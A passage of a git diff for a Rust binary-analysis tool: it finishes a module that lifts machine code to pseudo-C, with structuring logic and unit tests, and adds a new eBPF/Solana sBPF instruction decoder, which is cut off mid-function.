taken) = match self.code.get(cur) { + Some(c) => (c.stmts.clone(), c.cond.clone(), c.taken), + None => (Vec::new(), None, None), + }; + for s in stmts { + self.push(indent, s); + } + if let Some(l) = self.lines.get_mut(first_line) { + l.label = Some(start); + } else { + self.pending_label = Some(start); + } + let succs = self.g.succs.get(cur).cloned().unwrap_or_default(); + match succs.as_slice() { + [] => None, + [s] => match self.edge(*s) { + Edge::Continue => { + self.push(indent, "continue;"); + None + } + Edge::Break => { + self.push(indent, "break;"); + None + } + Edge::To(t) => Some(t), + }, + _ => { + let taken_idx = taken.and_then(|t| self.g.starts.iter().position(|s| *s == t)); + let Some(t) = taken_idx.filter(|t| succs.contains(t)) else { + // switch / multiway: one case per target + let selector = match self.lines.last() { + Some(l) if l.text.starts_with("goto *") && l.label.is_none() => { + let sel = l.text.trim_start_matches("goto *").split(';').next().unwrap_or("").to_string(); + self.lines.pop(); + sel + } + _ => "/* computed */".to_string(), + }; + self.push(indent, format!("switch ({selector}) {{")); + for s in succs { + let st = self.g.starts.get(s).copied().unwrap_or(0); + self.push(indent + 1, format!("case_{st:x}:")); + match self.edge(s) { + Edge::Continue => self.push(indent + 2, "continue;"), + Edge::Break => self.push(indent + 2, "break;"), + Edge::To(x) => { + if self.emitted.get(x).copied().unwrap_or(true) { + self.goto(indent + 2, x); + } else { + let join = self.g.ipdom.get(cur).copied().flatten(); + self.region(Some(x), join, indent + 2, depth + 1); + if !self.lines.last().is_some_and(|l| l.text.starts_with("return") || l.text.starts_with("goto ")) { + self.push(indent + 2, "break;"); + } + } + } + } + } + self.push(indent, "}"); + return self.g.ipdom.get(cur).copied().flatten().filter(|j| !self.emitted.get(*j).copied().unwrap_or(true)); + }; + let f = succs.iter().copied().find(|s| *s != t).unwrap_or(t); + let cond = cond.unwrap_or_else(|| "/* condition */ flags".into()); + let join = + self.g.ipdom.get(cur).copied().flatten().filter(|j| self.in_current_loop(*j) || self.loop_stack.last().and_then(|(_, f)| *f) == Some(*j)); + let arm = |me: &mut Self, x: usize, ind: usize| -> bool { + // returns true when something was emitted + match me.edge(x) { + Edge::Continue => { + me.push(ind, "continue;"); + true + } + Edge::Break => { + me.push(ind, "break;"); + true + } + Edge::To(y) => { + if Some(y) == join { + false + } else { + let before = me.lines.len(); + me.region(Some(y), join, ind, depth + 1); + me.lines.len() > before + } + } + } + }; + let jumpy = |e: &Edge| matches!(e, Edge::Continue | Edge::Break); + let (et, ef) = (self.edge(t), self.edge(f)); + if jumpy(&et) && jumpy(&ef) { + let word = |e: &Edge| if matches!(e, Edge::Break) { "break;" } else { "continue;" }; + if matches!(et, Edge::Break) { + self.push(indent, format!("if ({cond}) {}", word(&et))); + self.push(indent, word(&ef)); + } else { + self.push(indent, format!("if ({}) {}", cond_negate_text(&cond), word(&ef))); + self.push(indent, word(&et)); + } + return None; + } + let t_empty = matches!(self.edge(t), Edge::To(y) if Some(y) == join); + let f_empty = matches!(self.edge(f), Edge::To(y) if Some(y) == join); + if t_empty && f_empty { + // both go to the join: nothing to branch on + } else if t_empty { + self.push(indent, format!("if ({}) {{", cond_negate_text(&cond))); + arm(self, f, indent + 1); + self.push(indent, "}"); + } else if f_empty { + self.push(indent, format!("if ({cond}) {{")); + arm(self, t, indent + 1); + self.push(indent, "}"); + } else { + self.push(indent, format!("if ({cond}) {{")); + arm(self, t, indent + 1); + self.push(indent, "} else {"); + arm(self, f, indent + 1); + self.push(indent, "}"); + } + match join { + Some(j) => match self.edge(j) { + Edge::Continue => None, + Edge::Break => { + self.push(indent, "break;"); + None + } + Edge::To(j) => Some(j), + }, + None => None, + } + } + } + } +} + +fn simplify(lines: &mut Vec) { + // `} else {` directly followed by `}` → `}`; `if (c) {` directly followed by `}` → nothing. + let mut changed = true; + while changed { + changed = false; + let mut i = 0; + while i + 1 < lines.len() { + let (Some(a), Some(b)) = (lines.get(i), lines.get(i + 1)) else { break }; + if b.text == "}" && a.indent == b.indent && a.label.is_none() && b.label.is_none() && !b.loop_end { + if a.text == "} else {" { + lines.remove(i); + changed = true; + continue; + } + if a.text.starts_with("if (") && a.text.ends_with(") {") { + lines.drain(i..i + 2); + changed = true; + continue; + } + } + i += 1; + } + } + // `if (c) { break; }` → `if (c) break;` + let mut out: Vec = Vec::with_capacity(lines.len()); + let mut i = 0; + while i < lines.len() { + if let (Some(a), Some(b), Some(c)) = (lines.get(i), lines.get(i + 1), lines.get(i + 2)) + && a.text.starts_with("if (") + && a.text.ends_with(") {") + && matches!(b.text.as_str(), "break;" | "continue;" | "return;") + && c.text == "}" + && c.indent == a.indent + && b.label.is_none() + { + let head = a.text.trim_end_matches(" {"); + out.push(Line { indent: a.indent, text: format!("{head} {}", b.text), label: a.label, loop_end: false }); + i += 3; + continue; + } + if let Some(l) = lines.get(i) { + out.push(l.clone()); + } + i += 1; + } + *lines = out; +} + +/// Lift `f` to pseudo-C. `names` resolves user-given names (annotations) first. +pub fn lift(img: &Image, prog: &Program, f: &Function, names: &dyn Fn(u64) -> Option) -> Pseudo { + let mode = prog.mode; + let arg_regs: &'static [&'static str] = match mode { + Mode::X64 if img.bin.format == Format::Pe => &["rcx", "rdx", "r8", "r9"], + Mode::X64 => &["rdi", "rsi", "rdx", "rcx", "r8", "r9"], + Mode::A64 => &["x0", "x1", "x2", "x3", "x4", "x5", "x6", "x7"], + Mode::A32 | Mode::T32 => &["r0", "r1", "r2", "r3"], + _ => &[], + }; + let mut limitations: Vec<(String, String)> = vec![ + ("register_level".into(), "variables are machine registers and stack slots; types are not recovered".into()), + ("calling_convention_assumed".into(), format!("call arguments follow the usual {} convention and may be wrong for unusual functions", mode.name())), + ("conditions_from_flags".into(), "branch conditions are rebuilt from the last compare and may be approximate".into()), + ]; + // Decode every block. + let mut per_block: Vec> = Vec::new(); + for b in &f.blocks { + let mut v = Vec::new(); + let mut consts = ArmConsts::default(); + let mut a = b.start; + while a < b.end && v.len() < 20_000 { + let Some(mut i) = img.decode(a, true) else { break }; + if mode == Mode::A64 { + consts.apply(&mut i); + } + a = i.end(); + v.push(i); + } + per_block.push(v); + } + // Return register: the widest name written to the return register anywhere. + let ret_canon = if mode == Mode::A64 { + "x0" + } else if matches!(mode, Mode::A32 | Mode::T32) { + "r0" + } else { + "rax" + }; + let mut ret_reg = String::new(); + 'outer: for v in per_block.iter().rev() { + for i in v.iter().rev() { + if matches!(i.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) { + ret_reg = ret_canon.into(); + break 'outer; + } + if i.writes.iter().any(|w| w == ret_canon) + && let Some(Op::Reg(r)) = i.ops.first() + { + ret_reg = r.clone(); + break 'outer; + } + } + } + // Parameters: argument registers read before written in the entry block. + let mut params = Vec::new(); + if let Some(entry_block) = per_block.first() { + let mut written: BTreeSet = BTreeSet::new(); + for i in entry_block { + if matches!(i.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) { + break; + } + for r in &i.reads { + if arg_regs.contains(&r.as_str()) && !written.contains(r) && !params.contains(r) { + params.push(r.clone()); + } + } + written.extend(i.writes.iter().cloned()); + } + } + params.sort_by_key(|p| arg_regs.iter().position(|r| r == p).unwrap_or(99)); + let name = names(f.entry).unwrap_or_else(|| f.name.clone()); + let ret_ty = if ret_reg.is_empty() { + "void" + } else if ret_reg.starts_with('e') || ret_reg.starts_with('w') { + "int32_t" + } else { + "int64_t" + }; + let signature = format!("{ret_ty} {name}({})", params.iter().map(|p| format!("int64_t {p}")).collect::>().join(", ")); + let win64 = mode == Mode::X64 && img.bin.format == Format::Pe; + let mut lifter = + Lifter { img, prog, names, mode, arg_regs, win64, tail_calls: &f.tail_calls, ret_reg, calls: BTreeSet::new(), strings: Vec::new(), asm_fallbacks: 0 }; + let n = f.blocks.len(); + let codes: Vec = per_block + .iter() + .zip(&f.blocks) + .map(|(v, b)| { + let edge = b.start == f.entry || b.succs.is_empty(); + lifter.block(v, edge) + }) + .collect(); + let structured_ok = n <= MAX_STRUCTURED_BLOCKS; + let graph = if structured_ok { + build_graph(f) + } else { + Graph { starts: f.blocks.iter().map(|b| b.start).collect(), succs: vec![], idom: vec![], ipdom: vec![], dom: vec![], loops: BTreeMap::new() } + }; + let mut emitter = Emitter { + g: &graph, + code: &codes, + emitted: vec![false; n], + lines: Vec::new(), + labels: BTreeSet::new(), + gotos: 0, + loop_stack: Vec::new(), + pending_label: None, + }; + if structured_ok { + let entry = graph.starts.iter().position(|s| *s == f.entry).unwrap_or(0); + emitter.region(Some(entry), None, 1, 0); + // Anything unreachable from the entry (e.g. only via unresolved jumps) goes after. + for i in 0..n { + if !emitter.emitted.get(i).copied().unwrap_or(true) { + emitter.region(Some(i), None, 1, 0); + } + } + } else { + limitations.push(("not_structured".into(), format!("{n} blocks is above the structuring limit; shown as labelled blocks with gotos"))); + for (i, b) in f.blocks.iter().enumerate() { + let first = emitter.lines.len(); + for s in codes.get(i).map(|c| c.stmts.clone()).unwrap_or_default() { + emitter.push(1, s); + } + if let Some(c) = codes.get(i) + && let (Some(cond), Some(t)) = (&c.cond, c.taken) + { + emitter.labels.insert(t); + emitter.gotos += 1; + emitter.push(1, format!("if ({cond}) goto label_{t:x};")); + } + if emitter.lines.len() == first { + emitter.push(1, ";"); + } + if let Some(l) = emitter.lines.get_mut(first) { + l.label = Some(b.start); + } + emitter.labels.insert(b.start); + } + } + let _ = (&graph.idom, &graph.dom); + if emitter.pending_label.is_some() { + emitter.push(1, ";"); + } + let mut lines = std::mem::take(&mut emitter.lines); + simplify(&mut lines); + let mut text = format!("{signature}\n{{\n"); + for l in &lines { + if let Some(lab) = l.label + && emitter.labels.contains(&lab) + { + text.push_str(&format!("label_{lab:x}:\n")); + } + let _ = l.loop_end; + text.push_str(&" ".repeat(l.indent)); + text.push_str(&l.text); + text.push('\n'); + } + text.push_str("}\n"); + if emitter.gotos > 0 { + limitations.push(("unstructured_flow".into(), format!("{} gotos remain where the control flow isn't a simple if/loop", emitter.gotos))); + } + if lifter.asm_fallbacks > 0 { + limitations.push(("inline_asm".into(), format!("{} instructions have no C rule and are shown as __asm(...)", lifter.asm_fallbacks))); + } + if f.unresolved_indirect_jumps > 0 { + limitations.push(("indirect_jumps_unresolved".into(), "some indirect jumps were not resolved, so code may be missing".into())); + } + if f.truncated { + limitations.push(("function_truncated".into(), "the function hit the instruction limit; the end is missing".into())); + } + Pseudo { + signature, + text, + calls: lifter.calls.into_iter().collect(), + strings: lifter.strings, + gotos: emitter.gotos, + asm_fallbacks: lifter.asm_fallbacks, + structured: structured_ok && emitter.gotos == 0, + limitations, + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::NoControl; + use crate::program::Limits; + use craft_anything_testkit as tk; + use std::sync::Arc; + + fn setup(bytes: Vec) -> (Image, Program) { + let img = Image::parse(Arc::from(bytes)).unwrap(); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + (img, p) + } + + #[test] + fn calls_into_known_imports_show_their_arguments() { + // pe64 reuses the System V code, so nothing loads rcx before `puts`: Win64's first argument + // register. The call still has its one argument, shown as the register. + let (img, p) = setup(tk::pe64()); + let none = |_: u64| None; + let entry = img.bin.entry.unwrap(); + let f = p.functions.get(&entry).unwrap(); + let text = lift(&img, &p, f, &none).text; + assert!(text.contains("puts(rcx)"), "{text}"); + assert!(!text.contains("puts()"), "{text}"); + } + + #[test] + fn main_and_helper_read_like_c() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let (img, p) = setup(elf); + let none = |_: u64| None; + let main = lift(&img, &p, p.function_by_name("main").unwrap(), &none); + assert!(main.text.contains("puts(\"Hello, Craft!\")"), "{}", main.text); + assert!(main.text.contains("helper(5)"), "{}", main.text); + assert!(main.calls.contains(&"dispatch".to_string())); + assert_eq!(main.strings, vec![tk::HELLO.to_string()]); + let helper = lift(&img, &p, p.function_by_name("helper").unwrap(), &none); + assert!(helper.text.contains("while (true)"), "{}", helper.text); + assert!(helper.text.contains("if (edi"), "{}", helper.text); + assert!(helper.signature.contains("edi") || helper.signature.contains("rdi"), "{}", helper.signature); + assert!(helper.structured, "{}", helper.text); + let renamed = |a: u64| (a == p.function_by_name("helper").unwrap().entry).then(|| "sum_to".to_string()); + let main2 = lift(&img, &p, p.function_by_name("main").unwrap(), &renamed); + assert!(main2.text.contains("sum_to(5)"), "{}", main2.text); + let d = lift(&img, &p, p.function_by_name("dispatch").unwrap(), &none); + assert!(d.text.contains("return"), "{}", d.text); + } + + #[test] + fn win64_stack_args_and_tail_call() { + // main, patched: six arguments to the `puts` import (four in registers, two on the + // stack), then a tail jump to `helper`. + let mut pe = tk::pe64(); + let code: [u8; 58] = [ + 0x48, 0x83, 0xec, 0x68, // sub rsp, 0x68 + 0x48, 0xc7, 0x44, 0x24, 0x28, 0x07, 0x00, 0x00, 0x00, // mov qword [rsp+0x28], 7 + 0xc7, 0x44, 0x24, 0x20, 0x05, 0x00, 0x00, 0x00, // mov dword [rsp+0x20], 5 + 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, // mov r9d, 4 + 0x41, 0xb8, 0x03, 0x00, 0x00, 0x00, // mov r8d, 3 + 0xba, 0x02, 0x00, 0x00, 0x00, // mov edx, 2 + 0xb9, 0x01, 0x00, 0x00, 0x00, // mov ecx, 1 + 0xff, 0x15, 0x2f, 0x11, 0x00, 0x00, // call [rip+0x112f] (the puts IAT slot) + 0x48, 0x83, 0xc4, 0x68, // add rsp, 0x68 + 0xe9, 0x06, 0x00, 0x00, 0x00, // jmp helper + ]; + pe[0x400..0x400 + code.len()].copy_from_slice(&code); + let (img, p) = setup(pe); + let main = p.functions.get(&(tk::PE_BASE + tk::PE_TEXT_RVA)).unwrap(); + let out = lift(&img, &p, main, &|_| None); + assert!(out.text.contains("puts(1, 2, 3, 4, 5, 7);"), "{}", out.text); + assert!(!out.text.contains("stack_20"), "{}", out.text); + assert!(out.text.contains("return helper();"), "{}", out.text); + assert!(out.calls.contains(&"helper".to_string())); + } + + #[test] + fn aarch64_lifts() { + let (elf, _) = tk::elf64(tk::ElfArch::Aarch64, true); + let (img, p) = setup(elf); + let none = |_: u64| None; + let main = lift(&img, &p, p.function_by_name("main").unwrap(), &none); + assert!(main.text.contains("puts(\"Hello, Craft!\")"), "{}", main.text); + let helper = lift(&img, &p, p.function_by_name("helper").unwrap(), &none); + assert!(helper.text.contains("w0 == 0") || helper.text.contains("w0 != 0"), "{}", helper.text); + } + + #[test] + fn every_function_of_damaged_inputs_lifts_without_panicking() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, false); + for m in tk::mutations(&elf).into_iter().step_by(3) { + if let Ok(img) = Image::parse(Arc::from(m)) + && let Ok(p) = Program::analyze(&img, &Limits::default(), &NoControl) + { + for f in p.functions.values() { + let _ = lift(&img, &p, f, &|_| None); + } + } + } + for seed in 0..12 { + let raw = Image::raw(Arc::from(tk::noise(seed, 2048)), craft_anything_formats::Arch::X86_64, 0x1000); + if let Ok(p) = Program::analyze(&raw, &Limits::default(), &NoControl) { + for f in p.functions.values().take(50) { + let _ = lift(&raw, &p, f, &|_| None); + } + } + } + } + + #[test] + fn arm32_calls_keep_their_return_value_in_r0() { + use craft_anything_formats::Arch; + fn words(ws: &[u32]) -> Vec { + ws.iter().flat_map(|w| w.to_le_bytes()).collect() + } + fn arm_elf(code: &[u8], thumb: bool) -> Vec { + let mut b = vec![0u8; 0x100]; + b[0..7].copy_from_slice(b"\x7fELF\x01\x01\x01"); + for (o, v) in [(16, 2u16), (18, 40), (40, 52), (42, 32), (44, 1)] { + b[o..o + 2].copy_from_slice(&v.to_le_bytes()); + } + let n = code.len() as u32; + for (o, v) in [(20, 1u32), (24, 0x1000 | u32::from(thumb)), (28, 52), (36, 0x0500_0000), (52, 1)] { + b[o..o + 4].copy_from_slice(&v.to_le_bytes()); + } + for (o, v) in [(56, 0x100u32), (60, 0x1000), (64, 0x1000), (68, n), (72, n), (76, 5), (80, 0x100)] { + b[o..o + 4].copy_from_slice(&v.to_le_bytes()); + } + b.extend_from_slice(code); + b + } + fn lift_entry(image: Image) -> String { + let program = Program::analyze(&image, &Limits::default(), &NoControl).unwrap(); + let f = program.functions.get(&0x1000).unwrap(); + lift(&image, &program, f, &|_| None).text + } + + let call_ret = words(&[0xe92d_4010, 0xeb00_0001, 0xe8bd_8010, 0xe320_f000, 0xe3a0_0007, 0xe12f_ff1e]); + let used_call = words(&[0xe92d_4010, 0xeb00_0002, 0xe280_1001, 0xe1a0_0001, 0xe8bd_8010, 0xe3a0_0007, 0xe12f_ff1e]); + let leaf = words(&[0xe3a0_0007, 0xe12f_ff1e]); + + let ar = lift_entry(Image::raw(Arc::from(call_ret.clone()), Arch::Arm, 0x1000)); + let au = lift_entry(Image::raw(Arc::from(used_call), Arch::Arm, 0x1000)); + let al = lift_entry(Image::raw(Arc::from(leaf), Arch::Arm, 0x1000)); + let ae = lift_entry(Image::parse(Arc::from(arm_elf(&call_ret, false))).unwrap()); + let tr = lift_entry(Image::parse(Arc::from(arm_elf(&[0x10, 0xb5, 0x98, 0x47, 0x10, 0xbd], true))).unwrap()); + + assert!(ar.contains("return r0;") && !ar.contains("rax"), "{ar}"); + assert!(ae.contains("return r0;") && !ae.contains("rax"), "{ae}"); + assert!(tr.contains("return r0;") && !tr.contains("rax"), "{tr}"); + assert!(au.contains("r0 = sub_1014();") && au.contains("r1 = r0 + 1;") && au.contains("return r0;"), "{au}"); + assert!(al.contains("r0 = 7;") && al.contains("return r0;") && !al.contains("rax"), "{al}"); + } + + /// #277: ARM32 loads and stores came out as `r0 = 0;` and `0 = r0;`. + #[test] + fn arm32_loads_and_stores_keep_their_addresses() { + use craft_anything_formats::Arch; + let lift_words = |ws: &[u32]| { + let bytes: Vec = ws.iter().flat_map(|w| w.to_le_bytes()).collect(); + let image = Image::raw(Arc::from(bytes), Arch::Arm, 0x1000); + let program = Program::analyze(&image, &Limits::default(), &NoControl).unwrap(); + let f = program.functions.get(&0x1000).unwrap(); + lift(&image, &program, f, &|_| None) + }; + // ldr r0, [r1, #4]; str r0, [r2]; bx lr + let p = lift_words(&[0xe591_0004, 0xe582_0000, 0xe12f_ff1e]); + assert!(p.text.contains("r0 = *(uint32_t*)(r1 + 4);") && p.text.contains("*(uint32_t*)(r2) = r0;"), "{}", p.text); + assert_eq!(p.asm_fallbacks, 0); + // ldr r0, [r1, #-8] + let p = lift_words(&[0xe511_0008, 0xe12f_ff1e]); + assert!(p.text.contains("r0 = *(uint32_t*)(r1 - 8);"), "{}", p.text); + // ldr r0, [r1], #4 also moves r1, which no statement here says: it's shown as written. + let p = lift_words(&[0xe491_0004, 0xe12f_ff1e]); + assert!(p.text.contains("__asm(") && !p.text.contains("r0 = 0;") && p.asm_fallbacks == 1, "{}", p.text); + let i = crate::decode::decode(Mode::A32, &0xe591_0004u32.to_le_bytes(), 0x1000, false).unwrap(); + assert!(i.reads.contains(&"r1".to_string()) && i.writes == ["r0"], "{i:?}"); + } +} diff --git a/desktop/crates/disasm/src/sbpf.rs b/desktop/crates/disasm/src/sbpf.rs new file mode 100644 index 0000000..4faad3d --- /dev/null +++ b/desktop/crates/disasm/src/sbpf.rs @@ -0,0 +1,752 @@ +//! Clean-room decoder and static analysis for the eBPF / Solana sBPF instruction set. +//! +//! eBPF is a fixed-width RISC-like ISA: every instruction is 8 bytes (a single 64-bit slot) +//! except `lddw`, which carries a 64-bit immediate across two slots (16 bytes). Each 8-byte +//! slot is `opcode:u8, dst:4 / src:4, offset:i16, imm:i32` (little-endian). We decode the +//! classic eBPF set plus the Solana extensions (pc-relative `call`, `callx`, signed division), +//! discover functions from the entry and call targets, split them into basic blocks with a +//! simple control-flow graph, and render a very small pseudo form. +//! +//! Solana's sBPF has shipped in several versions whose opcode *meanings* differ (notably the +//! `call`/`callx` register encoding and the arithmetic reorganisation in v2+). We decode the +//! bytes faithfully, say which version we assumed, and flag opcodes whose meaning is +//! version-dependent rather than guessing. Nothing here panics on hostile input. + +use serde::Serialize; + +/// Hard caps so a huge or hostile `.text` can never exhaust memory or time. +pub const MAX_INSNS: usize = 1_000_000; +/// Largest `.text` we will decode (16 MiB of code = 2M slots). +pub const MAX_CODE: usize = 16 << 20; + +/// Which sBPF dialect the bytes were assembled for. The classic Linux eBPF matches `V1`. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum SbpfVersion { + /// Classic eBPF / Solana sBPF v1: `call imm` is a syscall hash or pc-relative by `src`, + /// `callx` takes its register from `imm`, `lddw` is available, arithmetic is unsigned. + V1, + /// Solana sBPF v2+: `call imm` is pc-relative, `callx` takes its register from `src`, + /// `lddw` is retired and the arithmetic opcodes were reorganised (see limitations). + V2, +} + +impl SbpfVersion { + pub fn name(self) -> &'static str { + match self { + SbpfVersion::V1 => "sbpf_v1", + SbpfVersion::V2 => "sbpf_v2", + } + } + + /// Best-effort version guess from the ELF `e_flags`, with an honest note about the guess. + /// + /// Solana has used more than one `e_flags` convention over time. `0` has always meant the + /// original dialect; the `0x20` bit (historically `EF_SBPF_V2`) and small non-zero version + /// numbers have both been used to mark the newer dialect. We treat `0` as v1 and anything + /// else as v2+, and return the note so callers can report exactly what we saw and assumed. + pub fn from_e_flags(flags: u32) -> (SbpfVersion, String) { + if flags == 0 { + (SbpfVersion::V1, "e_flags is 0: assuming the original sBPF v1 dialect.".to_string()) + } else { + ( + SbpfVersion::V2, + format!("e_flags is {flags:#x} (non-zero): assuming a newer sBPF (v2+) dialect; exact opcode meanings can vary between Solana sBPF versions."), + ) + } + } +} + +/// eBPF instruction classes (the low 3 bits of the opcode). +const CLS_LD: u8 = 0x00; +const CLS_LDX: u8 = 0x01; +const CLS_ST: u8 = 0x02; +const CLS_STX: u8 = 0x03; +const CLS_ALU32: u8 = 0x04; +const CLS_JMP: u8 = 0x05; +const CLS_JMP32: u8 = 0x06; +const CLS_ALU64: u8 = 0x07; + +/// How control leaves an instruction. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +#[serde(tag = "kind", rename_all = "snake_case")] +pub enum Flow { + /// Falls through to the next slot. + Next, + /// Unconditional jump to a code address. + Jump { target: u64 }, + /// Conditional branch: `target` when taken, otherwise falls through. + Branch { target: u64 }, + /// A `call` whose target we resolved to a code address (pc-relative). + Call { target: u64 }, + /// A `call` by immediate hash: a syscall or a function in the (unavailable) registry. + CallHash { imm: u32 }, + /// `callx`: call through a register (target not statically known). + CallReg, + /// `exit` / `return`. + Exit, + /// A slot we could not classify (unknown opcode); treated as a terminator for safety. + Unknown, +} + +impl Flow { + /// True when the slot ends a basic block. + pub fn ends_block(&self) -> bool { + matches!(self, Flow::Jump { .. } | Flow::Branch { .. } | Flow::Exit | Flow::Unknown) + } +} + +/// One decoded slot (or the 16-byte `lddw` pair). +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct Insn { + /// Byte address: `base + slot * 8`. + #[serde(serialize_with = "hex")] + pub addr: u64, + /// Slot index from the start of the code (jump offsets count slots, not bytes). + pub slot: u64, + /// 8 or 16. + pub size: u8, + pub opcode: u8, + pub dst: u8, + pub src: u8, + pub off: i16, + /// Sign-extended 32-bit immediate, or the full 64-bit `lddw` value. + pub imm: i64, + pub mnemonic: String, + pub operands: String, + pub flow: Flow, +} + +fn hex(v: &u64, s: S) -> Result { + s.serialize_str(&format!("{v:#x}")) +} + +impl Insn { + /// The one-line disassembly text (`addr: mnemonic operands`). + pub fn text(&self) -> String { + if self.operands.is_empty() { format!("{:#x}: {}", self.addr, self.mnemonic) } else { format!("{:#x}: {} {}", self.addr, self.mnemonic, self.operands) } + } +} + +fn reg(n: u8) -> String { + format!("r{n}") +} + +fn off_str(off: i16) -> String { + match off.cmp(&0) { + std::cmp::Ordering::Less => format!("-{:#x}", (off as i32).unsigned_abs()), + _ => format!("+{off:#x}"), + } +} + +/// The ALU operation mnemonic for a high nibble, with width suffix (`64`/`32`). +fn alu_op(nibble: u8) -> Option<&'static str> { + Some(match nibble { + 0x00 => "add", + 0x10 => "sub", + 0x20 => "mul", + 0x30 => "div", + 0x40 => "or", + 0x50 => "and", + 0x60 => "lsh", + 0x70 => "rsh", + 0x80 => "neg", + 0x90 => "mod", + 0xa0 => "xor", + 0xb0 => "mov", + 0xc0 => "arsh", + 0xd0 => "end", // byte-swap (le/be) + 0xe0 => "sdiv", // Solana signed division + 0xf0 => "smod", // Solana signed modulo + _ => return None, + }) +} + +/// The JMP operation mnemonic for a high nibble (without width suffix). +fn jmp_op(nibble: u8) -> Option<&'static str> { + Some(match nibble { + 0x00 => "ja", + 0x10 => "jeq", + 0x20 => "jgt", + 0x30 => "jge", + 0x40 => "jset", + 0x50 => "jne", + 0x60 => "jsgt", + 0x70 => "jsge", + 0xa0 => "jlt", + 0xb0 => "jle", + 0xc0 => "jslt", + 0xd0 => "jsle", + _ => return None, + }) +} + +/// Decode one slot at byte offset `at` within `code`; `base` is the virtual address of the slot +/// at offset 0, `cur_slot` its slot index. Returns `None` only when there are not 8 bytes left. +pub fn decode_one(code: &[u8], at: usize, base: u64, version: SbpfVersion) -> Option { + let raw = code.get(at..at.checked_add(8)?)?; + let opcode = *raw.first()?; + let regs = *raw.get(1)?; + let dst = regs & 0x0f; + let src = (regs >> 4) & 0x0f; + let off = i16::from_le_bytes([*raw.get(2)?, *raw.get(3)?]); + let imm32 = i32::from_le_bytes([*raw.get(4)?, *raw.get(5)?, *raw.get(6)?, *raw.get(7)?]); + let slot = (at as u64) / 8; + let addr = base.wrapping_add(slot.wrapping_mul(8)); + let class = opcode & 0x07; + + let mut size = 8u8; + let mut imm: i64 = i64::from(imm32); + let (mnemonic, operands, flow); + + match class { + CLS_ALU32 | CLS_ALU64 => { + let wide = class == CLS_ALU64; + let w = if wide { "64" } else { "32" }; + let use_src = opcode & 0x08 != 0; + let nib = opcode & 0xf0; + match alu_op(nib) { + Some("neg") => { + mnemonic = format!("neg{w}"); + operands = reg(dst); + flow = Flow::Next; + } + Some("end") => { + // le/be : width is in the immediate (16/32/64); byte order by src bit. + let order = if use_src { "be" } else { "le" }; + mnemonic = format!("{order}{imm32}"); + operands = reg(dst); + flow = Flow::Next; + } + Some(op) => { + mnemonic = format!("{op}{w}"); + operands = if use_src { format!("{}, {}", reg(dst), reg(src)) } else { format!("{}, {:#x}", reg(dst), imm32) }; + flow = Flow::Next; + } + None => { + mnemonic = format!("(alu?{opcode:#04x})"); + operands = format!("{}, {:#x}", reg(dst), imm32); + flow = Flow::Next; + } + } + } + CLS_JMP | CLS_JMP32 => { + let w = if class == CLS_JMP32 { "32" } else { "" }; + let nib = opcode & 0xf0; + let use_src = opcode & 0x08 != 0; + // Branch/jump targets are relative to the *next* slot, counted in slots. + let target = branch_target(base, slot, off); + match (nib, class) { + (0x00, CLS_JMP) => { + // ja: unconditional goto (offset). + mnemonic = "ja".to_string(); + operands = format!("{target:#x}"); + flow = Flow::Jump { target }; + } + (0x80, CLS_JMP) => { + // call / callx (CALL op). + if use_src { + // callx: register call. v1 reads the register from imm, v2 from src. + mnemonic = "callx".to_string(); + let r = if version == SbpfVersion::V2 { src } else { (imm32 & 0x0f) as u8 }; + operands = reg(r); + flow = Flow::CallReg; + } else { + // call imm. + let (m, ops, f) = decode_call(base, slot, src, imm32, version); + mnemonic = m; + operands = ops; + flow = f; + } + } + (0x90, CLS_JMP) => { + mnemonic = if version == SbpfVersion::V2 { "return".to_string() } else { "exit".to_string() }; + operands = String::new(); + flow = Flow::Exit; + } + (n, _) => match jmp_op(n) { + Some(op) => { + mnemonic = format!("{op}{w}"); + let rhs = if use_src { reg(src) } else { format!("{imm32:#x}") }; + operands = format!("{}, {}, {target:#x}", reg(dst), rhs); + flow = Flow::Branch { target }; + } + None => { + mnemonic = format!("(jmp?{opcode:#04x})"); + operands = format!("{}, {:#x}", reg(dst), imm32); + flow = Flow::Unknown; + } + }, + } + } + CLS_LDX | CLS_ST | CLS_STX => { + let sz = match opcode & 0x18 { + 0x00 => "w", + 0x08 => "h", + 0x10 => "b", + 0x18 => "dw", + _ => "?", + }; + let mode = opcode & 0xe0; + if mode == 0xc0 { + // Atomic / xadd (STX class). + mnemonic = format!("xadd{sz}"); + operands = format!("[{}{}], {}", reg(dst), off_str(off), reg(src)); + flow = Flow::Next; + } else { + match class { + CLS_LDX => { + mnemonic = format!("ldx{sz}"); + operands = format!("{}, [{}{}]", reg(dst), reg(src), off_str(off)); + } + CLS_ST => { + mnemonic = format!("st{sz}"); + operands = format!("[{}{}], {:#x}", reg(dst), off_str(off), imm32); + } + _ => { + mnemonic = format!("stx{sz}"); + operands = format!("[{}{}], {}", reg(dst), off_str(off), reg(src)); + } + } + flow = Flow::Next; + } + } + CLS_LD => { + // The only widely used LD opcode is lddw (0x18): a 64-bit immediate over two slots. + if opcode == 0x18 { + let hi = code.get(at.checked_add(8)?..at.checked_add(16)?); + if let Some(second) = hi { + let imm_hi = i32::from_le_bytes([*second.get(4)?, *second.get(5)?, *second.get(6)?, *second.get(7)?]); + imm = (((imm_hi as u32 as u64) << 32) | (imm32 as u32 as u64)) as i64; + size = 16; + mnemonic = "lddw".to_string(); + operands = format!("{}, {:#x}", reg(dst), imm as u64); + flow = Flow::Next; + } else { + // Truncated lddw pair: decode the first slot honestly. + mnemonic = "lddw".to_string(); + operands = format!("{}, {:#x} (truncated: second slot missing)", reg(dst), imm32 as u32); + flow = Flow::Next; + } + } else { + // Legacy packet loads (abs/ind) and anything else: name by mode, best effort. + mnemonic = format!("ld(0x{opcode:02x})"); + operands = format!("{}, {:#x}", reg(dst), imm32); + flow = Flow::Next; + } + } + _ => { + mnemonic = format!("(unknown {opcode:#04x})"); + operands = String::new(); + flow = Flow::Unknown; + } + } + + Some(Insn { addr, slot, size, opcode, dst, src, off, imm, mnemonic, operands, 